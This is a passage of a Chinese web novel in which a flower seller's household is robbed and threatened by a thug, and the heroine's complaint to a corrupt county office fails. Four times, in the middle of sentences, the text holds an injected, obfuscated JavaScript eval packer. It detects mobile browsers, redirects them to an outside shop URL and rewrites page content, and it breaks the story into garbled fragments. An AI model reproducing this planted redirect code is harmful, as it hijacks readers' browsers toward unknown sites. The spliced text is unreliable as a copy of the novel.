“他说跟你老熟人,是不是以前就欺负过你?”姜佑安问道。 袁竹挑起担子,往家的方向走去,“欺负又能怎么办。” 姜佑安跟了上去,“怪不得你突然要分钱,原来是怕都被他勒索了去,可是,这明明是你的钱,他就这样拦路抢劫,还有没有王法!” “天高皇帝远,谁能管得了他,给点儿钱就能避免麻烦,也挺好的了,总比天天担心他来报复要强得多。”袁竹说道。 “没人管,我来管!明天起,我跟你一起去城里,我看他还敢不敢再来,要是再来,我就一箭射穿他的脚。”姜佑安说道。 “你就别管了。”袁竹说道。 姜佑安拦在了袁竹面前,“为什么?你很怕他吗?” “怕,当然怕,我怎么能不怕?我只是个花农,无权无势,也没有人可以依靠,他这样的无业游民,要是盯上了我,不但我的卖花生意做不成,花田也会被他毁掉。”袁竹说道。 “就算你以前没有人可以依靠,但现在不一样了,你不是说我们是一家人吗?有人勒索钱财,你为什么不跟我们说?”姜佑安痛心地问道。 袁竹侧过脸,避开姜佑安责问的眼神,“正因为是一家人,我才不希望把你们牵扯进来,反正钱已经分给你们了,就算我的那份都给了赵雄,我们也照样能继续过下去。” 想到袁竹这几天愁眉不展,独自一人思考着对策,面对赵雄的敲诈勒索,她肯定也很无助,很恐惧吧。 姜佑安的态度软了下来,“你的那份给了他,他就会罢休吗?” “他的目的是要钱,我不是不给,只是没钱,他不能把我怎么样。”袁竹说道。 姜佑安让开了路,把担子接过来,自己挑着,“要是我,我就不会这么纵着他,我们这么辛苦,他凭什么不劳而获?就因为他是无赖?还是因为他身强体壮?” 卸去了担子,袁竹轻松地走在姜佑安身边,她知道姜佑安是心疼自己,也心疼钱,“我知道你的脾气,你认理,可这世间不是所有人都讲理,得罪了小人,只会让我们的日子比缺钱更加难过。” “你不让我去报复李贵,也是因为这个?”姜佑安问道。 “是,他住得离我们这么近,万一半夜去花田里使坏,我们就什么都没有了。”袁竹说道。 姜佑安感觉很气愤,“难道就完全没有办法对付这种人了吗?” 袁竹叹了口气,“忍吧,只能忍了。” 姜佑安默默不语,她不能忍,也不会忍,谁敢来欺负,她就欺负回去,如今有自己在,就绝不会让袁竹被欺负。 下定了决心,姜佑安第二天定要跟着袁竹一起进城,纵使袁竹一再拒绝,姜佑安还是背着弓箭跟在她身后出了门,袁竹没办法,只好告诫她凡事不要冲动,一定要跟自己商量。 姜佑安嘴上随口答应,心里却并不当回事,要是赵雄来了,就先给他一箭,吓唬吓唬他。 姜佑安还专门买了两斤上好的羊肉,足足花了一百文,只等赶走了赵雄,就回家让阮荷做了庆功。 出乎姜佑安的预料,赵雄并没有出现,姜佑安觉得是自己吓跑了他,十分高兴,袁竹却觉得事情不会这么轻易被解决,心里隐隐有些不安。 沿着大路,两人向家里走去,远远看见李贵从袁家走了出来,两人都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665240|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一惊,临走前明明叮嘱阮荷关好大门,李贵怎么会从里面出来? “狗东西!”姜佑安气得大喊一声,扔下担子就追了过去,李贵听见动静,拔腿往村里跑去,等姜佑安跑到院门边,李贵已经跑远了。 姜佑安惊慌地跑进屋里,声音有些颤抖,“小阮!小阮!” 袁竹也跟着跑了进来,“小阮没事吧?” 堂屋里没见阮荷,却是戴庭芳和程祥站在那里。 “你们怎么在这里?小阮呢?”姜佑安急切地问道。 阮荷哭哭啼啼地从西屋里走了出来,“袁姐姐,佑安姐姐,我在这。” 姜佑安和袁竹急忙跑过去,上下查看,“你没事吧?李贵那个混蛋没对你做什么吧?” 阮荷哭得满脸是泪,“我没事,可是,钱没了。” “钱?”姜佑安一时没听明白,“什么钱?” “就是袁姐姐让我保存的钱,还有袁姐姐分给我的钱,我都放一起了,全都没了,我们过冬的钱没了。”阮荷哭着说道。 “李贵把钱拿走了?我这就去找他。”姜佑安说着就往外走,阮荷赶忙拉住她,“不,不是他,是一个叫赵雄的男人拿走的。” 袁竹感觉全身直冒冷气,“赵雄来过了?什么时候来的?” 阮荷擦了擦眼泪,“刚走没多久。” “小阮,袁竹不是告诉你要关好大门吗?他是怎么进来的?”姜佑安轻声问道。 “他是翻墙进来的,我和公子亲眼看见的。”程祥说道。 想起那个可怕的男人,阮荷的眼泪扑簌簌滚落下来,“他来叫门,我不肯给他开,他就翻墙进来了,他说是袁姐姐的老熟人,袁姐姐让他来家里取点钱花。” 姜佑安握紧了拳头,这个地痞无赖,竟然找到家里来了。 阮荷抓住了袁竹的胳膊,哭诉道:“对不起,袁姐姐,我本来不想给他的,可他带了一把刀,说我要是不把钱交出来,他就要把我先杀后奸,我害怕极了,想起佑安姐姐说活命最要紧,就把钱给他了。” 袁竹把阮荷抱在怀里,轻轻拍着她的后背安抚她,“小阮吓坏了吧,姜佑安说得对,活命最要紧,钱没了,我们再赚就是了,你没事就好。” 阮荷难过地哭了一阵,又说道:“那个男人拿了钱,还不肯走,说要我陪他睡一觉再走,幸好戴公子他们来了,才把那人赶走了。” 姜佑安真想立刻出现在赵雄面前,把他痛揍一顿,再拿弓箭射穿他的屁股,她的愤怒无处发泄,面对美貌的戴公子也失去了耐心,语气生硬地问道:“多谢你们救了小阮,不过,你们怎么会在这里?” 戴庭芳躲到了一边,程祥向姜佑安行了一礼,“我家公子此次前来,是想邀请阮姑娘到戴家住,到这里时,正见那个叫赵雄的男人翻墙进了院子,我家公子怕里面出什么事,就让我翻墙看看,我坐在墙头,听到了阮姑娘在惊叫,就赶忙跳下去,打开大门,和公子一起赶走了那人。” “实在抱歉,那人手上有刀,我们没能让他把钱财留下。”戴庭芳看着地面说道。 姜佑安恢复了理智,“公子不必道歉,你们能救下小阮,对我们来说,就已经是天大的恩情了。” “那个李贵又是怎么回事?他怎么会从这里出去?”袁竹问道。 22. 报官 “我们救下阮姑娘之后,不知道从哪来了一个男人,非说这里是窑子,我们公子看他有些不正常,就让我把他赶了出去,他刚出去,你们就回来了。”程祥说道。 “是这样吗?”袁竹向阮荷问道。 “是,他说了好多难听的话,这个赵大哥把他骂走了。”阮荷红着眼睛说道。 袁竹深深地叹了口气,放开阮荷,向戴庭芳和程祥鞠了一躬,“多谢二位,今天还好有你们在。” 程祥还了一礼,“袁娘子客气了。” 姜佑安走到戴庭芳身边问道:“你们还是想带走小阮?” “我原本是有这个打算。”戴庭芳看了姜佑安一眼,“我本来以为,你们只是素不相识的陌生人,阮姑娘住在这里可能会给你们增加麻烦,她家里的事,家父已经打听清楚了,家母说可以把她接到我家去,由家母照顾。” 姜佑安狐疑地看着戴庭芳的眼睛,“你老实说,你是不是看上小阮了,要她去你家,你们直接成婚?” 戴庭芳慌忙摆手,“我并无此意,接阮姑娘去我家,是家母的主意,家母只是心疼她小小年纪离了家,是一番好意。” 姜佑安看向袁竹,“你怎么看?” 袁竹思索了一番,郑重地说道:“我们的钱没了,又被赵雄盯上,以后还说不准会有什么麻烦,戴家是有钱人,小阮去了,不用担心饿肚子,天冷了也不会冻着,比住在这里要更安全。” 姜佑安点点头,“我也这么觉得。” 戴庭芳站在一旁,心中暗暗赞叹。 自从上次来看过阮荷之后,他总是惦记着此事,阮荷远离自己家人,和几个外人住在一起,一个是轻浮残忍的猎人,一个是卖花的寡妇,还有一个感觉很阴沉的男人,这些人让他实在放心不下。 从父亲那里听说阮家要卖女儿给富商做妾的事是真的,又得知母亲有意要把阮荷接到家里来,他就赶紧揽了这个差事,来到了袁家,谁成想,却遇见了这样的事。 听到袁竹把钱都交给阮荷保管,又叮嘱她自己一人在家要关好门,钱被抢走,也不责怪阮荷,还会安慰她,让她不要害怕,两人还会主动站在阮荷的角度上,考虑她的去留,戴庭芳知道,这两人是真心爱护阮荷的。 “我不走。”听到袁竹和姜佑安说去戴家比较好,阮荷又急得哭了出来,“钱是我弄丢的,我还要帮姐姐们赚钱。” “我们冬天没什么生意,你先去戴家避避风头也好,等春天打了,花开了,我再去接你回来。”袁竹说道。 阮荷的眼泪大颗大颗滴落下来,打湿了她的衣襟,“袁姐姐,是不是没钱了,姐姐觉得养活不了我们?我可以少吃点儿,一天吃一顿就行,姐姐不要赶我走,我想跟姐姐们生活在一起。” 姜佑安用衣袖擦着阮荷的眼泪,“傻姑娘,一天吃一顿人就饿坏了,还是去戴家一天吃三顿饭吧,城里离得不远,我们会常去看你的。” 阮荷泪眼汪汪地看着姜佑安,“佑安姐姐,我不怕饿。” 戴庭芳把程祥叫过去,说了几句话,程祥点了点头,走到了阮荷身边,“阮姑娘,我家老爷和夫人是一番好意,我家公子也无意强迫你,姑娘既然不愿意去戴家,那就继续留在这里吧。” 阮荷赶紧点头,“我要留在这里。” 程祥从怀里拿出一个钱袋来,递给阮荷,“袁家遭劫,恐怕接下来的日子不好过,这是我家公子的一番心意,还请姑娘收下。” 阮荷接过钱袋,见里面有几块碎银子和一些铜板,她有些无措地看向袁竹,“袁姐姐。” 袁竹拿过钱袋看了看,又还给阮荷,“先收下吧,你点点钱数,等春天我们卖了花,再还他就是。” 阮荷脸上带着泪,笑了起来,“袁姐姐,我能留下了?” 袁竹无奈地笑了笑,“我们也不是要赶你走,只是不想让你跟我们一起过穷苦日子。” “小阮,你可要想清楚了,要是去了戴家,说不定就可以顿顿吃肉,天天有点心呢。”姜佑安说道。 阮荷摇了摇头,“我不要肉,也不要点心,我不想去别人家里住,我要和姐姐们在一起。” “说得也是,小阮可不像你佑安姐姐这么没良心。”袁竹笑着说道。 姜佑安对袁竹的嘲讽毫不在意,“谁不想过吃饱穿暖的好日子啊,要是有个有钱的亲戚跟我说,让我去她家住,那我肯定马上搬走。” “你家原本也挺有钱的吧,你怎么不去找找你那些有钱的亲戚?”袁竹问道。 “我的亲戚都离得远,再说了我也不想去求她们。”姜佑安说道。 戴庭芳扯了扯程祥的袖子,程祥马上向三人行了一礼,“三位姑娘,我家公子说钱不用还,三位要是有什么难处,可以去戴家找我,我们就先告辞了。” 程祥说完,两人向门外走去,姜佑安跟了上去,“等等,我和你们一起走。” 戴庭芳停下脚步,吃惊地看着姜佑安,“你要去我家?” “不是,我要去报官,正好你们也要进城,咱们顺路。”姜佑安说道。 戴庭芳松了一口气,“对,家里遭劫,确实应该报官,我送你到官府吧。” 袁竹连忙过去拉住了姜佑安胳膊,“不行!不能报官。” “为什么不能?家里的钱都被抢走了,难道你还怕会被他报复?”姜佑安生气地说道。 “报官也没用,知县不会管的,你去了也是白跑一趟。”袁竹说道。 “知县是赵雄的靠山?”姜佑安问道。 “赵雄只是个地痞流氓,没有当官的人做靠山,但这个知县自从来到泰安,向来是不爱开堂审案子的,更何况,我们没有钱,根本连知县的面都见不到。”袁竹说道。 “百姓报官,还要交钱?这个道理我从没听过。”姜佑安说道。 “现实就是如此,被赵雄欺压的男女不在少数,也有人告到官府,知县连理都不理。”袁竹说道。 戴庭芳退到了门外,气愤地说道:“不理诉讼,真是枉为父母官!” 姜佑安走到阮荷面前,拿走了她手上的钱袋,“要钱不是吗?这钱先借我用用,等赵雄把我们的钱吐出来,我再还你。” “嗯。”阮荷乖巧地点点头。 “姜佑安,你就听我的吧,报官也没用,那些胥吏一个个凶得很,我是怕你吃亏。”袁竹劝道。 “袁竹,你知道那个赵雄的底细吗?”姜佑安问道。 “听说他住在赵家村,家里只有一个老母亲,其他的,我就不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665241|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚了。”袁竹说道。 “行,知道住在哪就行,戴公子,我们走吧。”姜佑安说道。 见姜佑安坚持,袁竹也就没再劝了,跟她一道出了门,把卖花担子挑了回来。 姜佑安同戴庭芳一起进了城,就径直往县衙去,戴庭芳提醒她,要告状得有诉状才行,姜佑安不会写诉状,戴庭芳去了书坊,用钱袋里的钱买了几张纸,借用店主的笔墨,给姜佑安写了一纸状书。 姜佑安拿着状书去了衙门,直直往里闯,被门子拦下,“你是什么人?胆敢来闯衙门!” 姜佑安晃了晃手里的诉状,“我是李家村的村民,我要找知县告状。” “知县大人不在,你改日再来吧。”门子说道。 “知县出去了?他去哪了?什么时候回来?”姜佑安问道。 “这我哪知道,知县大人最近都不在,你明天再来试试吧。”门子说道。 “不知道什么时候回来?他干什么去了你也不知道?我找他有急事,要是晚了,我们的钱可能就没了。”姜佑安着急地说。 门子笑了笑,“知县大人的行踪,哪里会向我一个小小的门子通报,不过,如果你实在着急,我可以帮你想想办法。” “你有什么办法?”姜佑安问道。 门子笑着向着姜佑安摊开右手,“姑娘难道没听过一句话?衙门口朝南开,有理无钱莫进来。” 姜佑安心下了然,从怀里掏出钱袋来,作势要给门子,又迅速收了回去,“钱我可以给你,不过,你得说清楚,你能帮我做什么?” 门子也不恼,收回了手,笑着说道:“我能帮你把状纸递到知县大人面前,至于知县大人会不会受理,我就不能保证了。” 姜佑安眉头一皱,“只是递交状纸?你要收多少钱?” 门子伸出一个手指头,“一两银子。” 姜佑安想到自己帮袁竹卖花卖了将近一个月,都没有分到一两银子,如今只是递交状纸,就白白要给门子一两银子,气不打一处来,手指重重地点在了门子的脑门上,“你身为门子,递交诉状本就是你的职责所在,你却要收我一两银子,这里还是为百姓做主的衙门吗?” 戴庭芳见了,赶紧过来把姜佑安拉开,“姜姑娘,莫要冲动。” 门子生气地揉着自己的脑门,眼神凶狠,“我可以帮你递诉状,也可以现在就打你一顿,你自己选吧!” 戴庭芳向程祥使了个颜色,程祥赶紧过来,把姜佑安手里的钱袋拿走,塞进了门子的手里,赔着笑说道:“官爷您别生气,这姑娘没有来过衙门,不懂规矩,这是孝敬您的,还请您多费心,帮我们把状纸递上去吧。” 姜佑安很是不满,“你怎么把钱全给他了?” 门子掂量掂量钱袋的分量,又打开看了看,脸色好了起来,“你这么懂事,早干嘛去了?由着一个姑娘在我这里胡闹,我要是一动手,可没她什么好果子吃。” “是我的疏忽,还请官爷见谅。”程祥转身从姜佑安手里拿过状纸,递给门子,“全仰赖官爷了。” 门子接过状纸,连同钱袋一起揣进了怀里,昂首挺胸道:“行,包在我身上了。” “敢问官爷贵姓?我们明日前来,能否得到答复?”程祥问道。 23. 怪病 “明天啊,差不多,你们明天下午过来吧,我姓何,明天还是我当差,你们来这里找我就行,不过我先说好了,知县大人要是不受理,钱我可是不退的。”门子说道。 程祥点头道:“这个自然,劳烦官爷了,我们明日再来。” 姜佑安还不肯走,“你要的是一两银子,把多的还给我!” 程祥向门子道歉,和戴庭芳一起,把姜佑安拉走了。 “你们拉我干什么?那里面肯定比一两多,你都给他了,我回去怎么跟袁竹交代?”姜佑安生气地说道。 “姜姑娘,你省省吧,那里不是讲理的地方。”程祥说道。 姜佑安气得声音都高了几分,“衙门都不是讲理的地方,那还让百姓去哪里讲理?” 戴庭芳面带愁色,轻声叹道,“是啊,还有能讲理的地方吗?” 程祥拉扯着两人快点走,他眉头微微皱起,有些不满地看向戴庭芳,“公子,你怎么也跟着添乱啊。” 戴庭芳叹了口气,“如今的官场就是这样,百姓又能怎么办。” 姜佑安甩开了程祥的手,“怎么办?知县要是不给我处理,我就自己去讨回公道!” “算了吧,那个赵雄人高马大的,我和公子两个人都未必能把他怎么样,像袁娘子所说,钱没了,再赚就是了,万一被赵雄打伤打残,可就得不偿失了。”程祥耐心劝慰道。 “只要不近他的身,他不能把我怎么样。”姜佑安耸了耸右肩,给程祥看她背着的弓箭,“用这个,肯定能让他把钱吐出来。” “姜姑娘,你千万不要冲动,万一伤了人就不好了。”戴庭芳也劝道。 姜佑安摸了摸箭囊,心里有些后悔,“刚才我把弓箭拿出来就好了,吓唬吓唬他,看他敢不帮我!还能把银子省下来。” 程祥无奈地摇了摇头,“幸亏你没拿出来,要不然,现在你就被关进大牢里了。” 姜佑安不服气,“我只是想让他做他该做的事,他凭什么关我进大牢?” “这里没有什么该不该,你没听他说吗?有理无钱莫进来,他们只认钱,不认理。”程祥说道。 “照你这么说,等知县接了我的状子,我是不是还得给知县钱?”姜佑安问道。 程祥想了想,“有这个可能。” “那还不如我自己去找赵雄要钱呢,不行,我得去找门子把钱要回来。”姜佑安说着,转头向县衙走去,程祥和戴庭芳赶忙拉住她。 “姑娘,你别闹了,已经收了的钱,他是不可能吐出来的。”程祥说道。 “姜姑娘,等明天再过来问问吧,说不定知县会受理的,由捕快去捉人,总比你自己去要安全得多。”戴庭芳说道。 姜佑安看了看两人急切的脸色,慢慢冷静了下来,点了点头,“好吧,那我明天再来,今天多谢二位了。” 姜佑安向两人行了一礼,转身往城外走去。 “姜佑安的性子也太急了些。”看着姜佑安的背影,戴庭芳有些担心地说道。 “公子要是不放心,明天我们也过来看看吧。”程祥说道。 “嗯,是得过来看看,要是她冒失闯出了祸,恐怕也会连累到阮姑娘。”戴庭芳说着,往书院的方向走去。 “公子好像很关心阮姑娘。”程祥说道。 “她是我的远方表妹,既然已经知道了她的遭遇,我就不能坐视不理。”戴庭芳说道。 程祥笑了笑,“我还以为公子是看上阮姑娘了呢。” 戴庭芳面色不悦,“不要胡说!” “我看那阮姑娘长得花容月貌,和公子正相配,公子不觉得吗?”程祥笑着说道。 “不觉得,我连阮姑娘长什么样都没看清,况且她年龄还小,你这样乱说话,要是让我爹知道了,又要打你。”戴庭芳说道。 程祥冲戴庭芳挤了挤眼睛:“公子不说,老爷自然就不会知道了。” “越发没规矩了,你再这样,我肯定要告诉我爹。”戴庭芳说道。 “得得得,是我说错话了,还请公子见谅。”程祥作势向戴庭芳鞠了一躬。 戴庭芳点了点头,“你知道就好,那样可怜的一个女孩子,我怎么能趁人之危。” 程祥想到今天的情形,也有些后怕,“确实可怜,今天要不是我们在,还不知道会发生什么事,她真不如到公子家里来,起码能保障她的安全。” “是啊,不过,她不愿意,也就只能算了。”戴庭芳说道。 “看来姜姑娘和袁娘子对阮姑娘确实很好,她才会舍不得离开。”程祥说道。 “被抢走的钱也不知道能不能讨回,要是讨不回,以后的日子未免会清苦一些。”戴庭芳说道。 “姜姑娘不讨回钱,恐怕是不会罢休的。”程祥说道。 戴庭芳叹息一声,“这事恐怕不太好解决。” 想到姜佑安,程祥像是突然发现了什么,惊喜地问道:“公子,你的病是不是好了?” 戴庭芳还在想着赵雄的事,一时没有反应过来,“什么病好了?” “你不是一见了女人,就会脸红心跳加气喘吗?我看你今天非常的正常,你不光能跟女人说话,还拉扯了女人的胳膊!”程祥高兴地说道。 戴庭芳赶紧捂上他的嘴,看了看四周的行人,好在附近没什么人,“叫你不要乱说话!” 程祥吓得也赶紧向四周看,“对不起,公子。” 戴庭芳松开手,大步向前走去,程祥跟了上去,“公子,你别生气,我以为你病了好,是为你高兴才……” 戴庭芳打断了他,“高兴也不能在外面乱说,万一被有心的人听了去,会有损姜姑娘的清誉。” 程祥撇了撇嘴,“我看她才不在意这些呢,上次你不还说她轻浮。” “她不在意是她的事,我们不能不在意。”戴庭芳正色道。 “是,我知道了。”程祥应道,“不过公子,你的病是不是好了?” 戴庭芳回忆起三次遇到姜佑安,他确实都没犯病,但也只是在面对她的时候好一些,其他人还是不行,“可能是有好转吧。” “那太好了!”程祥非常高兴,“因为你这怪病,老爷一直没能给你说亲,私下里说起,还很是犯难,如今好了,老爷和夫人肯定也很高兴。” “程祥,这事,你先别跟我爹和我娘说。”戴庭芳说道。 程祥有些困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665242|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑,“为什么?老爷和夫人一直担心你日后不能娶妻生子,如今好了,也该让老人和夫人知道才是啊。” “我知道我爹娘都很担心,正因为如此,才不能跟他们说。”戴庭芳说道。 “公子,你这话说得,我怎么听不明白呢?”程祥问道。 “我这病说是有好转,却只是在那位姜姑娘面前有好转,面对其他女人,还是一样。”戴庭芳说道。 “怎么会这样?”程祥不能理解,“那姜姑娘是有什么特别之处吗?还是说她对你做了什么?” “我跟你说过吧,姜姑娘是一个猎人。”戴庭芳说道。 “公子是说过,难道猎人就是她的特别之处?”程祥问道。 “不是,我第一次见到姜姑娘的时候,她刚打完猎从山里出来,肩上扛着一头滴血的鹿,她过来跟我打招呼,好像认识我一样,我当时刚从京城回来没多久,每日浑浑噩噩,醒了又睡,睡了又醒,见到她时,还以为自己是在梦中,就完全忽略了她是一个女人的事。”戴庭芳说道。 “原来是这样。”程祥恍然大悟,“那公子以后面对其他女人的时候,是不是也可以把她们当做不是女人?” 戴庭芳听了,笑出声来,“哪是这么容易的事,一个人的衣着和发型明显就是女人,我要怎么把她们当做不是女人?” “确实,男女的不同,一看外表就看出来了。”程祥想了想,“那男扮女装的女人怎么样?” “或许可以吧,我也不太清楚。”戴庭芳说道。 “不管怎么说,公子的怪病,终于有治愈的希望了。”程祥高兴地说道。 两人一路聊着,回了戴家,姜佑安也回了袁家。 一进院门姜佑安就闻到了肉香,快步跑进了厨房,“哪来的肉香!是不是做肉了?” 厨房里没有人,袁竹从堂屋内走了出来,笑着说道:“你自己买的羊肉都忘了?” 杨恩也从屋内走出来,脸上写满了担心,“姜姑娘,你去县衙了?知县大人怎么处理的?” 阮荷跟在后面,也担心地问道:“佑安姐姐,钱还能要回来吗?” “今天知县不在,我先把状子递上去了,明天再去看看情况。”姜佑安说道。 “行,那就明天再说吧,先吃饭。”袁竹说着向厨房走去,阮荷也过去帮忙。 “都什么时辰了,你们还没吃饭呢?”姜佑安问道。 “你不也没吃吗?”袁竹反问道。 阮荷把锅里的羊肉盛了出来,“我们吃了一点,袁姐姐说肉是你买的,等你回来之后再吃。” “你回来得这么晚,要是我买的肉,你可就吃不到了。”袁竹笑着招呼杨恩,“杨恩,你也过来盛饭,一起吃点儿吧。” “我吃过午饭了。”杨恩说道,袁家出了这么大的事,自己完全不知道,也没有帮上忙,他十分自责,完全不想吃东西。 袁竹看了出来,轻声劝道:“今天姜姑娘请客,你就当给她个面子,咱们一家人聚一聚,吃点好的。” 杨恩低着头,犹豫了一会儿,才阴恻恻地开口说道:“你们告诉我,是谁抢了袁家的钱,又是谁要欺负阮姑娘,我要去杀了他们!” 24. 羊肉 听了杨恩的话,袁竹和阮荷都惊讶地看着杨恩,杨恩依旧没有抬头,接着说道:“反正我是贱命一条,杀了他们我就再不回来了,就算是要我偿命,我也不会连累你们的。” 姜佑安自己盛了饭,拿了筷子,直接从阮荷手上的盘子里夹了一筷子羊肉塞进嘴里,“说什么傻话呢,嗯!这样肉真好吃!小阮也太会做了。” 阮荷一边留意着杨恩的脸色,一边向姜佑安说道:“我没有做过羊肉,听我娘说,羊肉切片用葱炒最好吃,我就这么做了,不过,我尝了尝,感觉味道挺重的,佑安姐姐,你是真的觉得好吃吗?” “当然是真的,小阮做的菜就是香,有的人要是死了,就再也吃不到这么好吃的羊肉了。”姜佑安说道。 杨恩依旧低着头,“我的命本来就是姑娘们救的,还给你们也是应该的。” “我们救你,花的是你自己的钱,其他的恩情,你这些日子以来帮我干的那些活,都已经偿还了,我叫你来吃饭,只因为我们是一家人,不因为什么恩情,也不图什么报答。”袁竹说道。 “对啊,难得我买了这么好的羊肉,你也该尝尝才是。”姜佑安说道。 阮荷盛了半碗米饭,塞到杨恩手里,“杨大哥,你别去杀人,袁姐姐说了,钱没了,我们再挣就是了。” “一起因我而起,不如由我去杀人好了。”袁竹端着米饭和菜,出了厨房,穿过院子,向堂屋走去。 “昨天那个男人是我吓走的,才引来了今天的事,还是我去杀人吧。”姜佑安也端着饭碗出去了。 阮荷紧跟其后,回头叫杨恩,“杨大哥,来吃饭吧。” 杨恩见人都走了,也跟着去了堂屋,四人围着方桌坐下,姜佑安大口大口吃着羊肉,“你们快吃啊,这羊肉可是肉摊上卖的最贵的,要五十文一斤呢,快尝尝。” 袁竹夹了一筷子配饭吃,觉得挺香的,阮荷尝了一片,觉得味道太膻,自己吃不来,只有杨恩一筷子没动。 “你怎么不吃啊?”姜佑安问道。 杨恩抬起头,看着姜佑安,正色道:“我没在开玩笑,我可以杀了他。” “你多吃点肉,长得强壮些,说不定能吓退地痞无赖,那个人长得身强体壮,你不是他的对手。”姜佑安说道。 “只要我手上有刀,不管他有多强壮,我都能杀了他。”杨恩说道。 “杀人是要偿命的。”姜佑安吃着羊肉,平静地说道。 “我不怕!”杨恩说道。 姜佑安姜佑安叹了口气,“不管是王侯将相,还是平民百姓,都只有一条命,命没有高低贵贱,你不是贱命,我们也不是贵命,用不着你为了我们拼出一条性命去报仇。” “是他们该死!”杨恩说道。 见杨恩执着地想要报仇,姜佑安放下了碗筷,对杨恩说道:“你要是不肯听我们的,以后就不要到这里来了,你不再是袁家人,我们也不用你帮我们报仇,你要是想继续做袁家人,就乖乖吃饭,等到明天我们商量之后,再做决断。” 杨恩沉默良久,没再说要报仇的事,他终于端起碗来,袁竹给他夹了一筷子羊肉放在碗里,阮荷的手艺确实很好,羊肉炒得火候刚好,肉片嫩,咸淡也适中。 钱被抢的事也好,阮荷差点被侮辱的事也好,四人都不再提起,姜佑安也没有说把钱全都给了门子的事。 第二天吃过了午饭,关上了院门,四人便一起进城去了。 到了县衙门口,确实还是那个门子在值班,姜佑安过去询问情况,门子说状纸已经递上去了,知县大人没有应承,这事,知县大人不会管的。 见不到知县,谁知道门子有没有办事,姜佑安气得想把钱要回来,袁竹赶紧拦住她。 姜佑安这才说出把昨天戴庭芳给的钱全部给了门子的事,袁竹也只能安慰她,钱花了,事也办了,知县不管,那也没有办法。 戴庭芳来到县衙门口,正遇见几人垂头丧气的,要回家去了。 戴庭芳让程祥把姜佑安单独叫了过去,问明了情况。 “我昨天向家父打听了,现任的知县叫程濂,他不甘心在这样偏远的地方当一个知县,一直在上下运作,想要尽快调离此地,所以平时也不大管事,就算门子把状纸递了上去,他也不会管的。”戴庭芳说道。 姜佑安满心愤懑,“原来官员都是这样当官的吗?” 戴庭芳知道官场就是这样,他也无能为力,他拿出一锭银子来,塞到姜佑安手里,“阮表妹的遭遇,家父已经知道,这十两银子,是家父给的,你们拿回去过冬,不要再到县衙去了,小心惹上麻烦。” “罢了。”姜佑安叹息一声,把银子放回戴庭芳手中,“有道是无功不受禄,昨天的银子再加上今天的,我们恐怕卖一年的花都还不上,我不要你的钱,这是赵雄欠我们的,我只要他来还。” “那个人叫赵雄?你要去找他?我也去!”杨恩站在姜佑安身后说道。 突然听到杨恩的声音,姜佑安吃了一惊,回头看向他,“你怎么还偷听人说话?” 杨恩神色坦然,“你不用瞒着我,你打算怎么做,我可以帮你。” 姜佑安沉思了片刻,“你能保证都听我的吗?” 杨恩马上点点头,“我保证!” “你跟袁竹和阮荷一起回家去,我先去罗家村看看情况,等我回家去,我们再商量对策。”姜佑安说道。 “你要去罗家村?不行!你也跟我们一起回去。”袁竹也走了过来。 阮荷也跟了过来,她左看右看,不知该如何是好。 “我们不能就这样任人宰割,等赵雄手上的钱花完了,肯定还会再去找你要钱,你的钱已经没了,到时候你要怎么办?把阮荷抵给他吗?”姜佑安向袁竹说道。 袁竹听了很是生气,“怎么可能!我怎么能做出这种事?” “你以为忍气吞声,他会就此收手?不,他只会觉得我们软弱可欺,他已经有欺负阮荷的念头了,等他再次登门的时候,他会要求什么,你还不明白吗?我得让他知道,欺负我们,没有好下场,让他再不敢接近我们。”姜佑安说道。 家里已经没有钱了,赵雄再来的话,要怎么办?这确实是个问题,只说自己没有钱了,他是不会相信的,但放任姜佑安自己去的话,她可能会做出不可挽回的事,袁竹实在不放心,“让杨恩和阮荷回去吧,我跟你一起去罗家村。” “去的人多,容易引起人注意,我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665243|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己去就行。”姜佑安说道。 “不行,你自己去我不放心。”袁竹坚持。 “这有什么不放心的,我今天连弓箭都没带,不会做出什么出格的事的。”姜佑安保证道。 